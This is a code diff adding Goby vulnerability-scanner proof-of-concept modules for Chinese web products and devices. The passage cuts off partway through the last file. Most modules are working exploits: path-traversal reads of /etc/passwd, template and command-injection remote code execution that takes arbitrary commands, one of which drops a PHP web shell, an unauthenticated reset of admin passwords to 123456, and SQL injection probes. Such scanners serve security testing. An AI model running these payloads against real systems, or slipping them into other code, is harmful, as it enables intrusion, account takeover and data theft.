Webgrind是一套PHP执行时间分析工具。

Webgrind 1.5版本中存在安全漏洞,该漏洞源于程序依靠用户输入来显示文件。攻击者可借助index.php?op=fileviewer&file= URI利用该漏洞查看可被Webserver用户访问的本地文件系统上的文件。

", + "Product": "", + "Homepage": "https://github.com/jokkedk/webgrind", + "DisclosureDate": "2022-06-24", + "Author": "", + "FofaQuery": "app=\"Webgrind\"", + "GobyQuery": "app=\"Webgrind\"", + "Level": "2", + "Impact": "

Webgrind是一套PHP执行时间分析工具。

Webgrind 1.5版本中存在安全漏洞,该漏洞源于程序依靠用户输入来显示文件。攻击者可借助index.php?op=fileviewer&file= URI利用该漏洞查看可被Webserver用户访问的本地文件系统上的文件。

", + "Recommendation": "

目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:

https://github.com/jokkedk/webgrind

", + "References": [ + "https://github.com/jokkedk/webgrind/issues/112" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "path", + "type": "input", + "value": "/etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/index.php?op=fileviewer&file=/etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "regex", + "value": "root:[x*]?:0:0:", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/index.php?op=fileviewer&file={{{path}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "regex", + "value": "root:[x*]?:0:0:", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody||" + ] + } + ], + "Tags": [ + "任意⽂件下载" + ], + "VulType": [ + "任意⽂件下载" + ], + "CVEIDs": [ + " CVE-2018-12909" + ], + "CNNVD": [ + "CNNVD-201806-1367" + ], + "CNVD": [ + "" + ], + "CVSSScore": "", + "Translation": { + "CN": { + "Name": "Webgrind_File_read_cve-2018-12909", + "Product": "", + "Description": "

Webgrind是一套PHP执行时间分析工具。

Webgrind 1.5版本中存在安全漏洞,该漏洞源于程序依靠用户输入来显示文件。攻击者可借助index.php?op=fileviewer&file= URI利用该漏洞查看可被Webserver用户访问的本地文件系统上的文件。

", + "Recommendation": "

目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:

https://github.com/jokkedk/webgrind

", + "Impact": "

Webgrind是一套PHP执行时间分析工具。

Webgrind 1.5版本中存在安全漏洞,该漏洞源于程序依靠用户输入来显示文件。攻击者可借助index.php?op=fileviewer&file= URI利用该漏洞查看可被Webserver用户访问的本地文件系统上的文件。

", + "VulType": [ + "任意⽂件下载" + ], + "Tags": [ + "任意⽂件下载" + ] + }, + "EN": { + "Name": "Webgrind_File_read_cve-2018-12909", + "Product": "", + "Description": "", + "Recommendation": "", + "Impact": "", + "VulType": [], + "Tags": [] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ZZZCMS_parserSearch_RCE.go b/lib/goby/goby_pocs/ZZZCMS_parserSearch_RCE.go new file mode 100644 index 000000000..5825597ef --- /dev/null +++ b/lib/goby/goby_pocs/ZZZCMS_parserSearch_RCE.go @@ -0,0 +1,107 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "ZZZCMS parserSearch RCE", + "Description": "ZZZCMS parserSearch RCE", + "Product": "ZZZCMS", + "Homepage": "http://www.3zcms.com/", + "DisclosureDate": "2021-05-19", + "Author": "PeiQi", + "GobyQuery": "app=\"ZZZCMS\"", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "PHPINFO()" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["ZZZCMS"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/?location=search" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "keys={if:=PHPINFO()}{end if}" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 500 && strings.Contains(resp.RawBody, "phpinfo()") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri := "/?location=search" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "keys={if:=" + cmd + "}{end if}" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.RawBody + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_Platform_Information_leakage.go b/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_Platform_Information_leakage.go new file mode 100644 index 000000000..725b484b5 --- /dev/null +++ b/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_Platform_Information_leakage.go @@ -0,0 +1,112 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "ZhongQing naibo Education Cloud Platform Information leakage", + "Description": "Zhongqing Naboo education cloud platform system is a deep application that supports teaching and research.\\nInformation leakage and unauthorized access exist in the cloud platform system of Zhongqing Naboo Education.The password can be reset to 123456 through the leaked user name.", + "Product": "Beijing Zhongqing Naboo Information Technology Co., Ltd. Zhongqing Naibo Education Cloud Platform System", + "Homepage": "http://www.zqnb.com.cn", + "DisclosureDate": "2021-07-09", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"中庆纳博\"", + "Level": "3", + "Impact": "

Information leakage is mainly caused by the negligence of developers or operation and maintenance management personnel. The attacker can further analyze the attack target through the information he/she has mastered, so as to effectively launch the next effective attack.

The application system does not carry out effective identity verification on the service function page. If the application system does not log in and knows the address of the service function page, it can directly operate the functions under the page, which may cause malicious damage to the application system

", + "Recommandation": "

1. Delete the affected files to avoid information leakage.

2. Set up a unified error report page

3. Authorization of sensitive resources or information

", + "References": [ + "https://www.pwnwiki.org/index.php?title=%E4%B8%AD%E6%85%B6%E7%B4%8D%E5%8D%9A%E6%95%99%E8%82%B2%E9%9B%B2%E5%B9%B3%E8%87%BA%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%26%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E" + ], + "HasExp": true, + "ExpParams": [ + { + "name": " default", + "type": "input", + "value": " default", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/api/TeacherQuery/SearchTeacherInSiteWithPagerRecords", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "LoginName", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "UserAvatar", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/api/TeacherQuery/SearchTeacherInSiteWithPagerRecords", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "Disclosure of Sensitive Information" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_platform_reset_password.go b/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_platform_reset_password.go new file mode 100644 index 000000000..81b08a747 --- /dev/null +++ b/lib/goby/goby_pocs/ZhongQing_naibo_Education_Cloud_platform_reset_password.go @@ -0,0 +1,111 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "ZhongQing naibo Education Cloud platform reset password", + "Description": "Zhongqing Naboo education cloud platform system is a deep application that supports teaching and research.\\nInformation leakage and unauthorized access exist in the cloud platform system of Zhongqing Naboo Education.The password can be reset to 123456 through the leaked user name.", + "Product": "Beijing Zhongqing Naboo Information Technology Co., Ltd. Zhongqing Naibo Education Cloud Platform System", + "Homepage": "http://www.zqnb.com.cn", + "DisclosureDate": "2021-07-09", + "Author": "luckying1314@139.com", + "GobyQuery": "body=\"中庆纳博\"", + "Level": "3", + "Impact": "

Information leakage is mainly caused by the negligence of developers or operation and maintenance management personnel. The attacker can further analyze the attack target through the information he/she has mastered, so as to effectively launch the next effective attack.

The application system does not carry out effective identity verification on the service function page. If the application system does not log in and knows the address of the service function page, it can directly operate the functions under the page, which may cause malicious damage to the application system

", + "Recommandation": "

1. Delete the affected files to avoid information leakage.

2. Set up a unified error report page

3. Authorization of sensitive resources or information

", + "References": [ + "https://www.pwnwiki.org/index.php?title=%E4%B8%AD%E6%85%B6%E7%B4%8D%E5%8D%9A%E6%95%99%E8%82%B2%E9%9B%B2%E5%B9%B3%E8%87%BA%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%26%E6%9C%AA%E6%8E%88%E6%AC%8A%E8%A8%AA%E5%95%8F%E6%BC%8F%E6%B4%9E" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "LoginName", + "type": "createSelect", + "value": "super,admin,test", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "POST", + "uri": "/api/User/ResetPassword", + "follow_redirect": true, + "header": { + "Content-Type": "application/json;charset=UTF-8", + "Accept": "application/json, text/plain, */*" + }, + "data_type": "text", + "data": "{\"loginName\":\"test\"}" + }, + "ResponseTest": { + "type": "group", + "operation": "OR", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "contains", + "value": "重置密码成功", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "账号不存在", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/api/User/ResetPassword", + "follow_redirect": true, + "header": { + "Content-Type": "application/json;charset=UTF-8", + "Accept": "application/json, text/plain, */*" + }, + "data_type": "text", + "data": "{\"loginName\":\"{{{LoginName}}}\"}" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "Unauthorized access" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ZhongYuan_iAudit_get_luser_by_sshport.php_RCE.go b/lib/goby/goby_pocs/ZhongYuan_iAudit_get_luser_by_sshport.php_RCE.go new file mode 100644 index 000000000..f2e867f63 --- /dev/null +++ b/lib/goby/goby_pocs/ZhongYuan_iAudit_get_luser_by_sshport.php_RCE.go @@ -0,0 +1,104 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "ZhongYuan iAudit get_luser_by_sshport.php RCE", + "Description": "ZhongYuan iAudit get_luser_by_sshport.php ,The existence of command splicing leads to remote command execution vulnerability", + "Product": "ZhongYuan iAudit", + "Homepage": "https://www.tosec.com.cn/", + "DisclosureDate": "2021-06-01", + "Author": "PeiQi", + "GobyQuery": "body=\"admin.php?controller=admin_index&action=chklogin&ref\"", + "Level": "3", + "Impact": "

The existence of command splicing leads to remote command execution vulnerability

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "WangKang Next generation firewall" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

Upgrade version

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + randomStr := goutils.RandomHexString(8) + ".php" + uri_1 := "/get_luser_by_sshport.php?clientip=1;echo%20'%3C%3Fphp%20system(%22id%22)%3Bunlink(__FILE__)%3F%3E'>/opt/freesvr/web/htdocs/freesvr/audit/" + randomStr + ";&clientport=1" + cfg_1 := httpclient.NewGetRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/json") + if resp, err := httpclient.DoHttpRequest(u, cfg_1); err == nil { + if resp.StatusCode == 200 { + uri_2 := "/" + randomStr + cfg_2 := httpclient.NewGetRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg_2); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + } + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + randomStr := goutils.RandomHexString(8) + ".php" + cmd := ss.Params["Cmd"].(string) + uri_1 := "/get_luser_by_sshport.php?clientip=1;echo%20'%3C%3Fphp%20system(%22" + cmd + "%22)%3Bunlink(__FILE__)%3F%3E'>/opt/freesvr/web/htdocs/freesvr/audit/" + randomStr + ";&clientport=1" + cfg_1 := httpclient.NewGetRequestConfig(uri_1) + cfg_1.VerifyTls = false + cfg_1.FollowRedirect = false + cfg_1.Header.Store("Content-type", "application/json") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_1); err == nil { + if resp.StatusCode == 200 { + uri_2 := "/" + randomStr + cfg_2 := httpclient.NewGetRequestConfig(uri_2) + cfg_2.VerifyTls = false + cfg_2.FollowRedirect = false + cfg_2.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg_2); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ZhongkeWangwei_Next_generation_firewall_File_read.go b/lib/goby/goby_pocs/ZhongkeWangwei_Next_generation_firewall_File_read.go new file mode 100644 index 000000000..0233d1c7e --- /dev/null +++ b/lib/goby/goby_pocs/ZhongkeWangwei_Next_generation_firewall_File_read.go @@ -0,0 +1,87 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "regexp" + "strings" +) + +func init() { + expJson := `{ + "Name": "ZhongkeWangwei Next generation firewall File read", + "Description": "ZhongkeWangwei Next generation firewall File read, There is an arbitrary file reading vulnerability, which can be used by attackers to obtain sensitive information", + "Product": "ZhongkeWangwei Next generation firewall", + "Homepage": "http://www.netpower.com.cn/", + "DisclosureDate": "2021-06-02", + "Author": "PeiQi", + "GobyQuery": "body=\"Get_Verify_Info(hex_md5(user_string).\"", + "Level": "2", + "Impact": "

File read

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "File", + "type": "input", + "value": "/etc/passwd" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "File Read" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "ZhongkeWangwei Next generation firewall" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

update

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/download.php?&class=vpn&toolname=../../../../../../../../etc/passwd" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + file := ss.Params["File"].(string) + uri := "/download.php?&class=vpn&toolname=../../../../../../../.." + file + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + } + return expResult + }, + )) +} diff --git a/lib/goby/goby_pocs/Zhongxing_F460_web_shell_cmd.gch_RCE.go b/lib/goby/goby_pocs/Zhongxing_F460_web_shell_cmd.gch_RCE.go new file mode 100644 index 000000000..47a8977b6 --- /dev/null +++ b/lib/goby/goby_pocs/Zhongxing_F460_web_shell_cmd.gch_RCE.go @@ -0,0 +1,86 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "strings" +) + +func init() { + expJson := `{ + "Name": "Zhongxing F460 web_shell_cmd.gch RCE", + "Description": "Zhongxing F460 web_shell_cmd.gch RCE", + "Product": "Zhongxing F460", + "Homepage": "https://www.zte.com.cn/", + "DisclosureDate": "2021-05-18", + "Author": "PeiQi", + "GobyQuery": "app=\"ZTE-ZXA10F460\"", + "Level": "3", + "Impact": "RCE", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": false, + "ExpParams": null, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["RCE"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["WangKang Next generation firewall"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/web_shell_cmd.gch" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=ls&CmdAck=" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go b/lib/goby/goby_pocs/dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go new file mode 100644 index 000000000..2d3c7f25b --- /dev/null +++ b/lib/goby/goby_pocs/dahua_DSS_Arbitrary_file_download_cnvd_2020_61986.go @@ -0,0 +1,122 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Dahua DSS System Arbitrary file download CNVD-2020-61986", + "Description": "Zhejiang Dahua DSS (Digital Surveillance System) is a comprehensive management platform integrating the management functions of four security subsystems: video, alarm, access control and intercom.\\nZhejiang Dahua Technology Co., Ltd.DSS has arbitrary file download vulnerability, which can be used by attackers to log in the interface to download any file and obtain sensitive information.", + "Product": "Zhejiang Dahua Technology Co., Ltd. DSS System", + "Homepage": "https://www.dahuatech.com", + "DisclosureDate": "2020-10-31", + "Author": "luckying1314@139.com", + "GobyQuery": "title=\"DSS-平安城市\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system

", + "Recommandation": "

The manufacturer has not provided the relevant vulnerability patch link, please pay attention to the manufacturer's home page to update at any time:https://www.dahuatech.com/

", + "References": [ + "https://www.pwnwiki.org/index.php?title=CNVD-2020-61986_%E5%A4%A7%E8%8F%AFDSS%E7%B3%BB%E7%B5%B1%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E/zh-cn" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "filePath", + "type": "createSelect", + "value": "file:///etc/hosts,file:///etc/passwd", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/hosts", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "localhost", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/itc/attachment_downloadByUrlAtt.action?filePath={{{filePath}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "fileread" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} diff --git a/lib/goby/goby_pocs/fumengyun AjaxMethod.ashx SQL injection.json b/lib/goby/goby_pocs/fumengyun AjaxMethod.ashx SQL injection.json new file mode 100644 index 000000000..23cff72d9 --- /dev/null +++ b/lib/goby/goby_pocs/fumengyun AjaxMethod.ashx SQL injection.json @@ -0,0 +1,99 @@ +{ + "Name": "fumengyun AjaxMethod.ashx SQL injection", + "Level": "3", + "Tags": [ + "sqli" + ], + "GobyQuery": "title=\"孚盟云\"", + "Description": "", + "Product": "", + "Homepage": "https://gobies.org/", + "Author": "gobysec@gmail.com", + "Impact": "", + "Recommendation": "", + "References": [ + "https://gobies.org/" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27", + "follow_redirect": true, + "header": null, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "500", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "SELECT", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27", + "follow_redirect": true, + "header": null, + "data_type": "text", + "data": "", + "set_variable": [] + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "500", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "SELECT", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|" + ] + } + ], + "PostTime": "2022-07-02 21:53:57", + "GobyVersion": "1.9.323" +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/landray_oa_treexml_rce.go b/lib/goby/goby_pocs/landray_oa_treexml_rce.go new file mode 100644 index 000000000..afd9a3787 --- /dev/null +++ b/lib/goby/goby_pocs/landray_oa_treexml_rce.go @@ -0,0 +1,167 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "蓝凌OA treexml.tmpl 远程代码执行漏洞", + "Description": "

蓝凌OA treexml.tmpl存在远程代码执行漏洞,攻击者通过发送特定的请求包可以获取服务器权限

", + "Product": "蓝凌OA", + "Homepage": "www.landray.com.cn", + "DisclosureDate": "2022-07-18", + "Author": "", + "FofaQuery": "app=\"Landray-OA系统\"", + "GobyQuery": "app=\"Landray-OA系统\"", + "Level": "3", + "Impact": "", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech/wiki/oa/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8COA%20treexml.tmpl%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "command", + "type": "input", + "value": "whoami", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/data/sys-common/treexml.tmpl", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36", + "Accept-Encoding": "gzip, deflate", + "cmd": "echo This page has a bug", + "Accept": "*/*", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": 